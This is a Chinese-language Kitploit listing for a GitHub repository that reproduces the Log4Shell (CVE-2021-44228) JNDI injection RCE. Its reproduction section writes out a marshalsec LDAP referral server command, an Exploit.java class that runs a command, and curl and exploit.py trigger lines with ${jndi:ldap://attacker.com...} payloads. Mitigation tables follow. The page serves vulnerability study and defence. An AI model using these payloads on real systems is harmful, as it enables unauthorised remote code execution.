Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI 注入 RCE | Kitploit
工具/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用学习与教育远程访问工具
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI 注入 RCE

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
27天前尚未审核

CVE-2021-44228 — Log4Shell:Apache Log4j2 远程代码执行

CVSS 10.0 严重 | CWE-502:不可信数据的反序列化 | CWE-917:表达式语言注入的不当中和

概述

Log4Shell(CVE-2021-44228)可以说是 2020 年代最严重的漏洞,影响 Apache Log4j2 2.0 到 2.14.1 版本。该漏洞由阿里巴巴云安全的 Chen Zhaojun 于 2021 年 11 月发现,并于 2021 年 12 月 9 日公开披露,它允许未经认证的攻击者在全球数亿台服务器上执行远程代码。

该漏洞源于 Log4j2 的 JNDI(Java 命名和目录接口)查找功能,该功能允许在日志消息中使用类似 ${jndi:ldap://attacker.com/a} 的任意查找字符串。当用户可控的字符串包含此类模式并被记录时,Log4j2 会执行 JNDI 查找,从而加载并执行远程 Java 类。

技术细节

根本原因

Log4j2 引入了一个名为“消息查找”的功能,该功能将日志消息中的 ${...} 模式替换为来自各种来源(JNDI、环境变量、系统属性等)的值。JndiLookup 类(org.apache.logging.log4j.core.lookup.JndiLookup)在未进行适当清理的情况下,对攻击者控制的字符串调用 InitialContext.lookup()。

root@kitploit:~
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

lookup() 方法委托给 javax.naming.InitialContext.lookup(),后者可以从 LDAP、RMI、DNS 或 CORBA 服务器加载远程对象。

攻击流程

  1. 攻击者构造载荷:${jndi:ldap://attacker.com/a}
  2. 载荷进入应用程序上下文(HTTP 头、用户输入等)
  3. 应用程序记录载荷(例如,通过请求日志)
  4. Log4j2 处理 ${...} 模式并调用 JndiLookup
  5. JNDI 查找查询攻击者控制的 LDAP 服务器
  6. LDAP 服务器返回一个指向攻击者 Java 类的 Reference
  7. Log4j2 / JVM 获取并加载远程类
  8. 攻击者的类在应用程序的 JVM 中执行任意代码

受影响版本

复现

设置(LDAP 引用服务器)

使用 marshalsec 启动一个恶意的 LDAP 服务器:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

编译漏洞利用类

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

触发

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

或者通过 HTTP 头:

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

PoC 代码

包含的 exploit.py 提供:

  • JNDI 注入载荷生成(LDAP、RMI、DNS 变体)
  • 针对常见目标的 HTTP 头注入
  • 自动化 LDAP 引用服务器模式
  • 与 marshalsec 协作或独立运行

缓解措施

参考资料

  • NVD:CVE-2021-44228
  • Apache Log4j 安全公告
  • CISA Log4j 指南
  • Lunasec Log4Shell 分析
下载工具
版本状态
Log4j 2.0 – 2.14.1存在漏洞
Log4j 2.15.0-rc1部分修复(可通过 CVE-2021-45046 绕过)
Log4j 2.15.0有限修复(默认禁用 JNDI,限制查找)
Log4j 2.16.0禁用 JNDI,移除消息查找
Log4j 2.17.0针对 2.x 的最终修复(CVE-2021-44832)
Log4j 1.x不直接受影响(不同代码库)
方法详细信息
升级 Log4j更新至 2.17.0+(2.x)或 2.12.4+(Java 7)
JVM 参数-Dlog4j2.formatMsgNoLookups=true
移除 JndiLookupzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
WAF 规则在请求中阻止 ${jndi: 模式
网络控制阻止到不受信任服务器的出站 LDAP/RMI